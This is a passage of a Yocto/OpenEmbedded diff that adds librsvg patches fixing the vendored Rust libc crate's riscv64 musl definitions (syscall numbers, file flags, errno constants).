++pub const SYS_linkat: ::c_long = 37;
++pub const SYS_symlinkat: ::c_long = 36;
++pub const SYS_readlinkat: ::c_long = 78;
++pub const SYS_fchmodat: ::c_long = 53;
++pub const SYS_faccessat: ::c_long = 48;
++pub const SYS_pselect6: ::c_long = 72;
++pub const SYS_ppoll: ::c_long = 73;
++pub const SYS_unshare: ::c_long = 97;
++pub const SYS_set_robust_list: ::c_long = 99;
++pub const SYS_get_robust_list: ::c_long = 100;
++pub const SYS_splice: ::c_long = 76;
++pub const SYS_tee: ::c_long = 77;
++pub const SYS_sync_file_range: ::c_long = 84;
++pub const SYS_vmsplice: ::c_long = 75;
++pub const SYS_move_pages: ::c_long = 239;
++pub const SYS_utimensat: ::c_long = 88;
++pub const SYS_epoll_pwait: ::c_long = 22;
++pub const SYS_timerfd_create: ::c_long = 85;
++pub const SYS_fallocate: ::c_long = 47;
++pub const SYS_timerfd_settime: ::c_long = 86;
++pub const SYS_timerfd_gettime: ::c_long = 87;
++pub const SYS_accept4: ::c_long = 242;
++pub const SYS_signalfd4: ::c_long = 74;
++pub const SYS_eventfd2: ::c_long = 19;
++pub const SYS_epoll_create1: ::c_long = 20;
++pub const SYS_dup3: ::c_long = 24;
++pub const SYS_pipe2: ::c_long = 59;
++pub const SYS_inotify_init1: ::c_long = 26;
++pub const SYS_preadv: ::c_long = 69;
++pub const SYS_pwritev: ::c_long = 70;
++pub const SYS_rt_tgsigqueueinfo: ::c_long = 240;
++pub const SYS_perf_event_open: ::c_long = 241;
++pub const SYS_recvmmsg: ::c_long = 243;
++pub const SYS_fanotify_init: ::c_long = 262;
++pub const SYS_fanotify_mark: ::c_long = 263;
++pub const SYS_prlimit64: ::c_long = 261;
++pub const SYS_name_to_handle_at: ::c_long = 264;
++pub const SYS_open_by_handle_at: ::c_long = 265;
++pub const SYS_clock_adjtime: ::c_long = 266;
++pub const SYS_syncfs: ::c_long = 267;
++pub const SYS_sendmmsg: ::c_long = 269;
++pub const SYS_setns: ::c_long = 268;
++pub const SYS_getcpu: ::c_long = 168;
++pub const SYS_process_vm_readv: ::c_long = 270;
++pub const SYS_process_vm_writev: ::c_long = 271;
++pub const SYS_kcmp: ::c_long = 272;
++pub const SYS_finit_module: ::c_long = 273;
++pub const SYS_sched_setattr: ::c_long = 274;
++pub const SYS_sched_getattr: ::c_long = 275;
++pub const SYS_renameat2: ::c_long = 276;
++pub const SYS_seccomp: ::c_long = 277;
++pub const SYS_getrandom: ::c_long = 278;
++pub const SYS_memfd_create: ::c_long = 279;
++pub const SYS_bpf: ::c_long = 280;
++pub const SYS_execveat: ::c_long = 281;
++pub const SYS_userfaultfd: ::c_long = 282;
++pub const SYS_membarrier: ::c_long = 283;
++pub const SYS_mlock2: ::c_long = 284;
++pub const SYS_copy_file_range: ::c_long = 285;
++pub const SYS_preadv2: ::c_long = 286;
++pub const SYS_pwritev2: ::c_long = 287;
++pub const SYS_pkey_mprotect: ::c_long = 288;
++pub const SYS_pkey_alloc: ::c_long = 289;
++pub const SYS_pkey_free: ::c_long = 290;
++pub const SYS_statx: ::c_long = 291;
++pub const SYS_pidfd_open: ::c_long = 434;
++pub const SYS_clone3: ::c_long = 435;
diff --git a/meta/recipes-gnome/librsvg/librsvg/0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set-libc-.patch b/meta/recipes-gnome/librsvg/librsvg/0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set-libc-.patch
new file mode 100644
index 0000000000..ee995286e3
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set-libc-.patch
@@ -0,0 +1,27 @@
+From 4319893ebb7fca8bbd2bffc4bddb8d3ecdc08cc2 Mon Sep 17 00:00:00 2001
+From: Ralf Anton Beier <ralf_beier@me.com>
+Date: Sun, 8 Aug 2021 11:07:21 +0200
+Subject: [PATCH 6/8] FIXUP: linux/musl/mod.rs: add riscv64 to b64 set -
+ libc-0.2.93
+
+https://github.com/rust-lang/libc/pull/1994/commits/30070c822be2ef399b2ba38cdc1d72ac694d65a3
+
+Upstream-Status: Submitted [https://github.com/rust-lang/libc/pull/2537]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Ralf Anton Beier <ralf_beier@me.com>
+---
+ vendor/libc-0.2.93/src/unix/linux_like/linux/musl/mod.rs | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+--- a/vendor/libc/src/unix/linux_like/linux/musl/mod.rs
++++ b/vendor/libc/src/unix/linux_like/linux/musl/mod.rs
+@@ -800,7 +800,8 @@ cfg_if! {
+ target_arch = "aarch64",
+ target_arch = "mips64",
+ target_arch = "powerpc64",
+- target_arch = "s390x"))] {
++ target_arch = "s390x",
++ target_arch = "riscv64"))] {
+ mod b64;
+ pub use self::b64::*;
+ } else if #[cfg(any(target_arch = "x86",
diff --git a/meta/recipes-gnome/librsvg/librsvg/0007-FIXUP-Correct-definitions-to-match-musl-libc-0.2.93.patch b/meta/recipes-gnome/librsvg/librsvg/0007-FIXUP-Correct-definitions-to-match-musl-libc-0.2.93.patch
new file mode 100644
index 0000000000..e23aaa790e
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0007-FIXUP-Correct-definitions-to-match-musl-libc-0.2.93.patch
@@ -0,0 +1,737 @@
+From 9d240d05c6e6620f36e4ddbcbcb5862fb3269d9f Mon Sep 17 00:00:00 2001
+From: Ralf Anton Beier <ralf_beier@me.com>
+Date: Sun, 8 Aug 2021 11:09:17 +0200
+Subject: [PATCH 7/8] FIXUP Correct definitions to match musl - libc-0.2.93
+
+https://github.com/rust-lang/libc/pull/1994/commits/5f6a4d9745c79c81be63c708515ab116786554a3
+
+Upstream-Status: Submitted [https://github.com/rust-lang/libc/pull/2537]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Ralf Anton Beier <ralf_beier@me.com>
+---
+ .../linux_like/linux/musl/b64/riscv64/mod.rs | 708 ++++++++----------
+ 1 file changed, 311 insertions(+), 397 deletions(-)
+
+--- a/vendor/libc/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
++++ b/vendor/libc/src/unix/linux_like/linux/musl/b64/riscv64/mod.rs
+@@ -191,403 +191,8 @@ s! {
+ pub l_len: ::off64_t,
+ pub l_pid: ::pid_t,
+ }
+-
+- pub struct ip_mreqn {
+- pub imr_multiaddr: ::in_addr,
+- pub imr_address: ::in_addr,
+- pub imr_ifindex: ::c_int,
+- }
+ }
+
+-pub const POSIX_FADV_DONTNEED: ::c_int = 4;
+-pub const POSIX_FADV_NOREUSE: ::c_int = 5;
+-pub const VEOF: usize = 4;
+-pub const RTLD_DEEPBIND: ::c_int = 0x8;
+-pub const RTLD_GLOBAL: ::c_int = 0x100;
+-pub const RTLD_NOLOAD: ::c_int = 0x4;
+-pub const TIOCGSOFTCAR: ::c_ulong = 21529;
+-pub const TIOCSSOFTCAR: ::c_ulong = 21530;
+-pub const TIOCGRS485: ::c_int = 21550;
+-pub const TIOCSRS485: ::c_int = 21551;
+-pub const RLIMIT_RSS: ::__rlimit_resource_t = 5;
+-pub const RLIMIT_AS: ::__rlimit_resource_t = 9;
+-pub const RLIMIT_MEMLOCK: ::__rlimit_resource_t = 8;
+-pub const RLIMIT_NOFILE: ::__rlimit_resource_t = 7;
+-pub const RLIMIT_NPROC: ::__rlimit_resource_t = 6;
+-pub const O_APPEND: ::c_int = 1024;
+-pub const O_CREAT: ::c_int = 64;
+-pub const O_EXCL: ::c_int = 128;
+-pub const O_NOCTTY: ::c_int = 256;
+-pub const O_NONBLOCK: ::c_int = 2048;
+-pub const O_SYNC: ::c_int = 1052672;
+-pub const O_RSYNC: ::c_int = 1052672;
+-pub const O_DSYNC: ::c_int = 4096;
+-pub const O_FSYNC: ::c_int = 1052672;
+-pub const O_NOATIME: ::c_int = 262144;
+-pub const O_PATH: ::c_int = 2097152;
+-pub const O_TMPFILE: ::c_int = 4259840;
+-pub const MAP_GROWSDOWN: ::c_int = 256;
+-pub const EDEADLK: ::c_int = 35;
+-pub const ENAMETOOLONG: ::c_int = 36;
+-pub const ENOLCK: ::c_int = 37;
+-pub const ENOSYS: ::c_int = 38;
+-pub const ENOTEMPTY: ::c_int = 39;
+-pub const ELOOP: ::c_int = 40;
+-pub const ENOMSG: ::c_int = 42;
+-pub const EIDRM: ::c_int = 43;
+-pub const ECHRNG: ::c_int = 44;
+-pub const EL2NSYNC: ::c_int = 45;
+-pub const EL3HLT: ::c_int = 46;
+-pub const EL3RST: ::c_int = 47;
+-pub const ELNRNG: ::c_int = 48;
+-pub const EUNATCH: ::c_int = 49;
+-pub const ENOCSI: ::c_int = 50;
+-pub const EL2HLT: ::c_int = 51;
+-pub const EBADE: ::c_int = 52;
+-pub const EBADR: ::c_int = 53;
+-pub const EXFULL: ::c_int = 54;
+-pub const ENOANO: ::c_int = 55;
+-pub const EBADRQC: ::c_int = 56;
+-pub const EBADSLT: ::c_int = 57;
+-pub const EMULTIHOP: ::c_int = 72;
+-pub const EOVERFLOW: ::c_int = 75;
+-pub const ENOTUNIQ: ::c_int = 76;
+-pub const EBADFD: ::c_int = 77;
+-pub const EBADMSG: ::c_int = 74;
+-pub const EREMCHG: ::c_int = 78;
+-pub const ELIBACC: ::c_int = 79;
+-pub const ELIBBAD: ::c_int = 80;
+-pub const ELIBSCN: ::c_int = 81;
+-pub const ELIBMAX: ::c_int = 82;
+-pub const ELIBEXEC: ::c_int = 83;
+-pub const EILSEQ: ::c_int = 84;
+-pub const ERESTART: ::c_int = 85;
+-pub const ESTRPIPE: ::c_int = 86;
+-pub const EUSERS: ::c_int = 87;
+-pub const ENOTSOCK: ::c_int = 88;
+-pub const EDESTADDRREQ: ::c_int = 89;
+-pub const EMSGSIZE: ::c_int = 90;
+-pub const EPROTOTYPE: ::c_int = 91;
+-pub const ENOPROTOOPT: ::c_int = 92;
+-pub const EPROTONOSUPPORT: ::c_int = 93;
+-pub const ESOCKTNOSUPPORT: ::c_int = 94;
+-pub const EOPNOTSUPP: ::c_int = 95;
+-pub const EPFNOSUPPORT: ::c_int = 96;
+-pub const EAFNOSUPPORT: ::c_int = 97;
+-pub const EADDRINUSE: ::c_int = 98;
+-pub const EADDRNOTAVAIL: ::c_int = 99;
+-pub const ENETDOWN: ::c_int = 100;
+-pub const ENETUNREACH: ::c_int = 101;
+-pub const ENETRESET: ::c_int = 102;
+-pub const ECONNABORTED: ::c_int = 103;
+-pub const ECONNRESET: ::c_int = 104;
+-pub const ENOBUFS: ::c_int = 105;
+-pub const EISCONN: ::c_int = 106;
+-pub const ENOTCONN: ::c_int = 107;
+-pub const ESHUTDOWN: ::c_int = 108;
+-pub const ETOOMANYREFS: ::c_int = 109;
+-pub const ETIMEDOUT: ::c_int = 110;
+-pub const ECONNREFUSED: ::c_int = 111;
+-pub const EHOSTDOWN: ::c_int = 112;
+-pub const EHOSTUNREACH: ::c_int = 113;
+-pub const EALREADY: ::c_int = 114;
+-pub const EINPROGRESS: ::c_int = 115;
+-pub const ESTALE: ::c_int = 116;
+-pub const EDQUOT: ::c_int = 122;
+-pub const ENOMEDIUM: ::c_int = 123;
+-pub const EMEDIUMTYPE: ::c_int = 124;
+-pub const ECANCELED: ::c_int = 125;
+-pub const ENOKEY: ::c_int = 126;
+-pub const EKEYEXPIRED: ::c_int = 127;
+-pub const EKEYREVOKED: ::c_int = 128;
+-pub const EKEYREJECTED: ::c_int = 129;
+-pub const EOWNERDEAD: ::c_int = 130;
+-pub const ENOTRECOVERABLE: ::c_int = 131;
+-pub const EHWPOISON: ::c_int = 133;
+-pub const ERFKILL: ::c_int = 132;
+-pub const SOL_SOCKET: ::c_int = 1;
+-pub const SO_REUSEADDR: ::c_int = 2;
+-pub const SO_TYPE: ::c_int = 3;
+-pub const SO_ERROR: ::c_int = 4;
+-pub const SO_DONTROUTE: ::c_int = 5;
+-pub const SO_BROADCAST: ::c_int = 6;
+-pub const SO_SNDBUF: ::c_int = 7;
+-pub const SO_RCVBUF: ::c_int = 8;
+-pub const SO_SNDBUFFORCE: ::c_int = 32;
+-pub const SO_RCVBUFFORCE: ::c_int = 33;
+-pub const SO_KEEPALIVE: ::c_int = 9;
+-pub const SO_OOBINLINE: ::c_int = 10;
+-pub const SO_NO_CHECK: ::c_int = 11;
+-pub const SO_PRIORITY: ::c_int = 12;
+-pub const SO_LINGER: ::c_int = 13;
+-pub const SO_BSDCOMPAT: ::c_int = 14;
+-pub const SO_REUSEPORT: ::c_int = 15;
+-pub const SO_PASSCRED: ::c_int = 16;
+-pub const SO_PEERCRED: ::c_int = 17;
+-pub const SO_RCVLOWAT: ::c_int = 18;
+-pub const SO_SNDLOWAT: ::c_int = 19;
+-pub const SO_RCVTIMEO: ::c_int = 20;
+-pub const SO_SNDTIMEO: ::c_int = 21;
+-pub const SO_SECURITY_AUTHENTICATION: ::c_int = 22;
+-pub const SO_SECURITY_ENCRYPTION_TRANSPORT: ::c_int = 23;
+-pub const SO_SECURITY_ENCRYPTION_NETWORK: ::c_int = 24;
+-pub const SO_BINDTODEVICE: ::c_int = 25;
+-pub const SO_ATTACH_FILTER: ::c_int = 26;
+-pub const SO_DETACH_FILTER: ::c_int = 27;
+-pub const SO_GET_FILTER: ::c_int = 26;
+-pub const SO_PEERNAME: ::c_int = 28;
+-pub const SO_TIMESTAMP: ::c_int = 29;
+-pub const SO_ACCEPTCONN: ::c_int = 30;
+-pub const SO_PEERSEC: ::c_int = 31;
+-pub const SO_PASSSEC: ::c_int = 34;
+-pub const SO_TIMESTAMPNS: ::c_int = 35;
+-pub const SCM_TIMESTAMPNS: ::c_int = 35;
+-pub const SO_MARK: ::c_int = 36;
+-pub const SO_PROTOCOL: ::c_int = 38;
+-pub const SO_DOMAIN: ::c_int = 39;
+-pub const SO_RXQ_OVFL: ::c_int = 40;
+-pub const SO_WIFI_STATUS: ::c_int = 41;
+-pub const SCM_WIFI_STATUS: ::c_int = 41;
+-pub const SO_PEEK_OFF: ::c_int = 42;
+-pub const SO_NOFCS: ::c_int = 43;
+-pub const SO_LOCK_FILTER: ::c_int = 44;
+-pub const SO_SELECT_ERR_QUEUE: ::c_int = 45;
+-pub const SO_BUSY_POLL: ::c_int = 46;
+-pub const SO_MAX_PACING_RATE: ::c_int = 47;
+-pub const SO_BPF_EXTENSIONS: ::c_int = 48;
+-pub const SO_INCOMING_CPU: ::c_int = 49;
+-pub const SO_ATTACH_BPF: ::c_int = 50;
+-pub const SO_DETACH_BPF: ::c_int = 27;
+-pub const SOCK_STREAM: ::c_int = 1;
+-pub const SOCK_DGRAM: ::c_int = 2;
+-pub const SA_ONSTACK: ::c_int = 134217728;
+-pub const SA_SIGINFO: ::c_int = 4;
+-pub const SA_NOCLDWAIT: ::c_int = 2;
+-pub const SIGTTIN: ::c_int = 21;
+-pub const SIGTTOU: ::c_int = 22;
+-pub const SIGXCPU: ::c_int = 24;
+-pub const SIGXFSZ: ::c_int = 25;
+-pub const SIGVTALRM: ::c_int = 26;
+-pub const SIGPROF: ::c_int = 27;
+-pub const SIGWINCH: ::c_int = 28;
+-pub const SIGCHLD: ::c_int = 17;
+-pub const SIGBUS: ::c_int = 7;
+-pub const SIGUSR1: ::c_int = 10;
+-pub const SIGUSR2: ::c_int = 12;
+-pub const SIGCONT: ::c_int = 18;
+-pub const SIGSTOP: ::c_int = 19;
+-pub const SIGTSTP: ::c_int = 20;
+-pub const SIGURG: ::c_int = 23;
+-pub const SIGIO: ::c_int = 29;
+-pub const SIGSYS: ::c_int = 31;
+-pub const SIGSTKFLT: ::c_int = 16;
+-pub const SIGPOLL: ::c_int = 29;
+-pub const SIGPWR: ::c_int = 30;
+-pub const SIG_SETMASK: ::c_int = 2;
+-pub const SIG_BLOCK: ::c_int = 0;
+-pub const SIG_UNBLOCK: ::c_int = 1;
+-pub const POLLWRNORM: ::c_short = 256;
+-pub const POLLWRBAND: ::c_short = 512;
+-pub const O_ASYNC: ::c_int = 8192;
+-pub const O_NDELAY: ::c_int = 2048;
+-pub const PTRACE_DETACH: ::c_uint = 17;
+-pub const EFD_NONBLOCK: ::c_int = 2048;
+-pub const F_GETLK: ::c_int = 5;
+-pub const F_GETOWN: ::c_int = 9;
+-pub const F_SETOWN: ::c_int = 8;
+-pub const F_SETLK: ::c_int = 6;
+-pub const F_SETLKW: ::c_int = 7;
+-pub const F_RDLCK: ::c_int = 0;
+-pub const F_WRLCK: ::c_int = 1;
+-pub const F_UNLCK: ::c_int = 2;
+-pub const F_OFD_GETLK: ::c_int = 36;
+-pub const F_OFD_SETLK: ::c_int = 37;
+-pub const F_OFD_SETLKW: ::c_int = 38;
+-pub const SFD_NONBLOCK: ::c_int = 2048;
+-pub const TCSANOW: ::c_int = 0;
+-pub const TCSADRAIN: ::c_int = 1;
+-pub const TCSAFLUSH: ::c_int = 2;
+-pub const TIOCLINUX: ::c_ulong = 21532;
+-pub const TIOCGSERIAL: ::c_ulong = 21534;
+-pub const TIOCEXCL: ::c_ulong = 21516;
+-pub const TIOCNXCL: ::c_ulong = 21517;
+-pub const TIOCSCTTY: ::c_ulong = 21518;
+-pub const TIOCSTI: ::c_ulong = 21522;
+-pub const TIOCMGET: ::c_ulong = 21525;
+-pub const TIOCMBIS: ::c_ulong = 21526;
+-pub const TIOCMBIC: ::c_ulong = 21527;
+-pub const TIOCMSET: ::c_ulong = 21528;
+-pub const TIOCCONS: ::c_ulong = 21533;
+-pub const TIOCM_ST: ::c_int = 8;
+-pub const TIOCM_SR: ::c_int = 16;
+-pub const TIOCM_CTS: ::c_int = 32;
+-pub const TIOCM_CAR: ::c_int = 64;
+-pub const TIOCM_RNG: ::c_int = 128;
+-pub const TIOCM_DSR: ::c_int = 256;
+-pub const SFD_CLOEXEC: ::c_int = 524288;
+-pub const NCCS: usize = 32;
+-pub const O_TRUNC: ::c_int = 512;
+-pub const O_CLOEXEC: ::c_int = 524288;
+-pub const EBFONT: ::c_int = 59;
+-pub const ENOSTR: ::c_int = 60;
+-pub const ENODATA: ::c_int = 61;
+-pub const ETIME: ::c_int = 62;
+-pub const ENOSR: ::c_int = 63;
+-pub const ENONET: ::c_int = 64;
+-pub const ENOPKG: ::c_int = 65;
+-pub const EREMOTE: ::c_int = 66;
+-pub const ENOLINK: ::c_int = 67;
+-pub const EADV: ::c_int = 68;
+-pub const ESRMNT: ::c_int = 69;
+-pub const ECOMM: ::c_int = 70;
+-pub const EPROTO: ::c_int = 71;
+-pub const EDOTDOT: ::c_int = 73;
+-pub const SA_NODEFER: ::c_int = 1073741824;
+-pub const SA_RESETHAND: ::c_int = -2147483648;
+-pub const SA_RESTART: ::c_int = 268435456;
+-pub const SA_NOCLDSTOP: ::c_int = 1;
+-pub const EPOLL_CLOEXEC: ::c_int = 524288;
+-pub const EFD_CLOEXEC: ::c_int = 524288;
+-pub const __SIZEOF_PTHREAD_CONDATTR_T: usize = 4;
+-pub const __SIZEOF_PTHREAD_MUTEXATTR_T: usize = 4;
+-pub const O_DIRECT: ::c_int = 16384;
+-pub const O_DIRECTORY: ::c_int = 65536;
+-pub const O_NOFOLLOW: ::c_int = 131072;
+-pub const MAP_HUGETLB: ::c_int = 262144;
+-pub const MAP_LOCKED: ::c_int = 8192;
+-pub const MAP_NORESERVE: ::c_int = 16384;
+-pub const MAP_ANON: ::c_int = 32;
+-pub const MAP_ANONYMOUS: ::c_int = 32;
+-pub const MAP_DENYWRITE: ::c_int = 2048;
+-pub const MAP_EXECUTABLE: ::c_int = 4096;
+-pub const MAP_POPULATE: ::c_int = 32768;
+-pub const MAP_NONBLOCK: ::c_int = 65536;
+-pub const MAP_STACK: ::c_int = 131072;
+-pub const MAP_SYNC : ::c_int = 0x080000;
+-pub const EDEADLOCK: ::c_int = 35;
+-pub const EUCLEAN: ::c_int = 117;
+-pub const ENOTNAM: ::c_int = 118;
+-pub const ENAVAIL: ::c_int = 119;
+-pub const EISNAM: ::c_int = 120;
+-pub const EREMOTEIO: ::c_int = 121;
+-pub const FIOCLEX: ::c_ulong = 21585;
+-pub const FIONCLEX: ::c_ulong = 21584;
+-pub const FIONBIO: ::c_ulong = 21537;
+-pub const MCL_CURRENT: ::c_int = 1;
+-pub const MCL_FUTURE: ::c_int = 2;
+-pub const SIGSTKSZ: ::size_t = 8192;
+-pub const MINSIGSTKSZ: ::size_t = 2048;
+-pub const CBAUD: ::tcflag_t = 4111;
+-pub const TAB1: ::tcflag_t = 2048;
+-pub const TAB2: ::tcflag_t = 4096;
+-pub const TAB3: ::tcflag_t = 6144;
+-pub const CR1: ::tcflag_t = 512;
+-pub const CR2: ::tcflag_t = 1024;
+-pub const CR3: ::tcflag_t = 1536;
+-pub const FF1: ::tcflag_t = 32768;
+-pub const BS1: ::tcflag_t = 8192;
+-pub const VT1: ::tcflag_t = 16384;
+-pub const VWERASE: usize = 14;
+-pub const VREPRINT: usize = 12;
+-pub const VSUSP: usize = 10;
+-pub const VSTART: usize = 8;
+-pub const VSTOP: usize = 9;
+-pub const VDISCARD: usize = 13;
+-pub const VTIME: usize = 5;
+-pub const IXON: ::tcflag_t = 1024;
+-pub const IXOFF: ::tcflag_t = 4096;
+-pub const ONLCR: ::tcflag_t = 4;
+-pub const CSIZE: ::tcflag_t = 48;
+-pub const CS6: ::tcflag_t = 16;
+-pub const CS7: ::tcflag_t = 32;
+-pub const CS8: ::tcflag_t = 48;
+-pub const CSTOPB: ::tcflag_t = 64;
+-pub const CREAD: ::tcflag_t = 128;
+-pub const PARENB: ::tcflag_t = 256;
+-pub const PARODD: ::tcflag_t = 512;
+-pub const HUPCL: ::tcflag_t = 1024;
+-pub const CLOCAL: ::tcflag_t = 2048;
+-pub const ECHOKE: ::tcflag_t = 2048;
+-pub const ECHOE: ::tcflag_t = 16;
+-pub const ECHOK: ::tcflag_t = 32;
+-pub const ECHONL: ::tcflag_t = 64;
+-pub const ECHOPRT: ::tcflag_t = 1024;
+-pub const ECHOCTL: ::tcflag_t = 512;
+-pub const ISIG: ::tcflag_t = 1;
+-pub const ICANON: ::tcflag_t = 2;
+-pub const PENDIN: ::tcflag_t = 16384;
+-pub const NOFLSH: ::tcflag_t = 128;
+-pub const CIBAUD: ::tcflag_t = 269418496;
+-pub const CBAUDEX: ::tcflag_t = 4096;
+-pub const VSWTC: usize = 7;
+-pub const OLCUC: ::tcflag_t = 2;
+-pub const NLDLY: ::tcflag_t = 256;
+-pub const CRDLY: ::tcflag_t = 1536;
+-pub const TABDLY: ::tcflag_t = 6144;
+-pub const BSDLY: ::tcflag_t = 8192;
+-pub const FFDLY: ::tcflag_t = 32768;
+-pub const VTDLY: ::tcflag_t = 16384;
+-pub const XTABS: ::tcflag_t = 6144;
+-pub const B0: ::speed_t = 0;
+-pub const B50: ::speed_t = 1;
+-pub const B75: ::speed_t = 2;
+-pub const B110: ::speed_t = 3;
+-pub const B134: ::speed_t = 4;
+-pub const B150: ::speed_t = 5;
+-pub const B200: ::speed_t = 6;
+-pub const B300: ::speed_t = 7;
+-pub const B600: ::speed_t = 8;
+-pub const B1200: ::speed_t = 9;
+-pub const B1800: ::speed_t = 10;
+-pub const B2400: ::speed_t = 11;
+-pub const B4800: ::speed_t = 12;
+-pub const B9600: ::speed_t = 13;
+-pub const B19200: ::speed_t = 14;
+-pub const B38400: ::speed_t = 15;
+-pub const EXTA: ::speed_t = 14;
+-pub const EXTB: ::speed_t = 15;
+-pub const B57600: ::speed_t = 4097;
+-pub const B115200: ::speed_t = 4098;
+-pub const B230400: ::speed_t = 4099;
+-pub const B460800: ::speed_t = 4100;
+-pub const B500000: ::speed_t = 4101;
+-pub const B576000: ::speed_t = 4102;
+-pub const B921600: ::speed_t = 4103;
+-pub const B1000000: ::speed_t = 4104;
+-pub const B1152000: ::speed_t = 4105;
+-pub const B1500000: ::speed_t = 4106;
+-pub const B2000000: ::speed_t = 4107;
+-pub const B2500000: ::speed_t = 4108;
+-pub const B3000000: ::speed_t = 4109;
+-pub const B3500000: ::speed_t = 4110;
+-pub const B4000000: ::speed_t = 4111;
+-pub const VEOL: usize = 11;
+-pub const VEOL2: usize = 16;
+-pub const VMIN: usize = 6;
+-pub const IEXTEN: ::tcflag_t = 32768;
+-pub const TOSTOP: ::tcflag_t = 256;
+-pub const FLUSHO: ::tcflag_t = 4096;
+-pub const EXTPROC: ::tcflag_t = 65536;
+-pub const TCGETS: ::c_ulong = 21505;
+-pub const TCSETS: ::c_ulong = 21506;
+-pub const TCSETSW: ::c_ulong = 21507;
+-pub const TCSETSF: ::c_ulong = 21508;
+-pub const TCGETA: ::c_ulong = 21509;
+-pub const TCSETA: ::c_ulong = 21510;
+-pub const TCSETAW: ::c_ulong = 21511;
+-pub const TCSETAF: ::c_ulong = 21512;
+-pub const TCSBRK: ::c_ulong = 21513;
+-pub const TCXONC: ::c_ulong = 21514;
+-pub const TCFLSH: ::c_ulong = 21515;
+-pub const TIOCINQ: ::c_ulong = 21531;
+-pub const TIOCGPGRP: ::c_ulong = 21519;
+-pub const TIOCSPGRP: ::c_ulong = 21520;
+-pub const TIOCOUTQ: ::c_ulong = 21521;
+-pub const TIOCGWINSZ: ::c_ulong = 21523;
+-pub const TIOCSWINSZ: ::c_ulong = 21524;
+-pub const FIONREAD: ::c_ulong = 21531;
+-pub const __SIZEOF_PTHREAD_MUTEX_T: usize = 40;
+-pub const __SIZEOF_PTHREAD_RWLOCK_T: usize = 56;
+ pub const SYS_read: ::c_long = 63;
+ pub const SYS_write: ::c_long = 64;
+ pub const SYS_close: ::c_long = 57;
+@@ -863,5 +468,314 @@ pub const SYS_pkey_mprotect: ::c_long =
+ pub const SYS_pkey_alloc: ::c_long = 289;
+ pub const SYS_pkey_free: ::c_long = 290;
+ pub const SYS_statx: ::c_long = 291;
+-pub const SYS_pidfd_open: ::c_long = 434;
+-pub const SYS_clone3: ::c_long = 435;
++
++pub const O_APPEND: ::c_int = 1024;
++pub const O_DIRECT: ::c_int = 0x4000;
++pub const O_DIRECTORY: ::c_int = 0x10000;
++pub const O_LARGEFILE: ::c_int = 0;
++pub const O_NOFOLLOW: ::c_int = 0x20000;
++pub const O_CREAT: ::c_int = 64;
++pub const O_EXCL: ::c_int = 128;
++pub const O_NOCTTY: ::c_int = 256;
++pub const O_NONBLOCK: ::c_int = 2048;
++pub const O_SYNC: ::c_int = 1052672;
++pub const O_RSYNC: ::c_int = 1052672;
++pub const O_DSYNC: ::c_int = 4096;
++pub const O_ASYNC: ::c_int = 0x2000;
++
++pub const TIOCGRS485: ::c_int = 0x542E;
++pub const TIOCSRS485: ::c_int = 0x542F;
++
++pub const SIGSTKSZ: ::size_t = 8192;
++pub const MINSIGSTKSZ: ::size_t = 2048;
++
++pub const ENAMETOOLONG: ::c_int = 36;
++pub const ENOLCK: ::c_int = 37;
++pub const ENOSYS: ::c_int = 38;
++pub const ENOTEMPTY: ::c_int = 39;
++pub const ELOOP: ::c_int = 40;
++pub const ENOMSG: ::c_int = 42;
++pub const EIDRM: ::c_int = 43;
++pub const ECHRNG: ::c_int = 44;
++pub const EL2NSYNC: ::c_int = 45;
++pub const EL3HLT: ::c_int = 46;
++pub const EL3RST: ::c_int = 47;
++pub const ELNRNG: ::c_int = 48;
++pub const EUNATCH: ::c_int = 49;
++pub const ENOCSI: ::c_int = 50;
++pub const EL2HLT: ::c_int = 51;
++pub const EBADE: ::c_int = 52;
++pub const EBADR: ::c_int = 53;
++pub const EXFULL: ::c_int = 54;
++pub const ENOANO: ::c_int = 55;
++pub const EBADRQC: ::c_int = 56;
++pub const EBADSLT: ::c_int = 57;
++pub const EMULTIHOP: ::c_int = 72;
++pub const EOVERFLOW: ::c_int = 75;
++pub const ENOTUNIQ: ::c_int = 76;
++pub const EBADFD: ::c_int = 77;
++pub const EBADMSG: ::c_int = 74;
++pub const EREMCHG: ::c_int = 78;
++pub const ELIBACC: ::c_int = 79;
++pub const ELIBBAD: ::c_int = 80;
++pub const ELIBSCN: ::c_int = 81;
++pub const ELIBMAX: ::c_int = 82;
++pub const ELIBEXEC: ::c_int = 83;
++pub const EILSEQ: ::c_int = 84;
++pub const ERESTART: ::c_int = 85;
++pub const ESTRPIPE: ::c_int = 86;
++pub const EUSERS: ::c_int = 87;
++pub const ENOTSOCK: ::c_int = 88;
++pub const EDESTADDRREQ: ::c_int = 89;
++pub const EMSGSIZE: ::c_int = 90;
++pub const EPROTOTYPE: ::c_int = 91;
++pub const ENOPROTOOPT: ::c_int = 92;
++pub const EPROTONOSUPPORT: ::c_int = 93;
++pub const ESOCKTNOSUPPORT: ::c_int = 94;
++pub const EOPNOTSUPP: ::c_int = 95;
++pub const EPFNOSUPPORT: ::c_int = 96;
++pub const EAFNOSUPPORT: ::c_int = 97;
++pub const EADDRINUSE: ::c_int = 98;
++pub const EADDRNOTAVAIL: ::c_int = 99;
++pub const ENETDOWN: ::c_int = 100;
++pub const ENETUNREACH: ::c_int = 101;
++pub const ENETRESET: ::c_int = 102;
++pub const ECONNABORTED: ::c_int = 103;
++pub const ECONNRESET: ::c_int = 104;
++pub const ENOBUFS: ::c_int = 105;
++pub const EISCONN: ::c_int = 106;
++pub const ENOTCONN: ::c_int = 107;
++pub const ESHUTDOWN: ::c_int = 108;
++pub const ETOOMANYREFS: ::c_int = 109;
++pub const ETIMEDOUT: ::c_int = 110;
++pub const ECONNREFUSED: ::c_int = 111;
++pub const EHOSTDOWN: ::c_int = 112;
++pub const EHOSTUNREACH: ::c_int = 113;
++pub const EALREADY: ::c_int = 114;
++pub const EINPROGRESS: ::c_int = 115;
++pub const ESTALE: ::c_int = 116;
++pub const EDQUOT: ::c_int = 122;
++pub const ENOMEDIUM: ::c_int = 123;
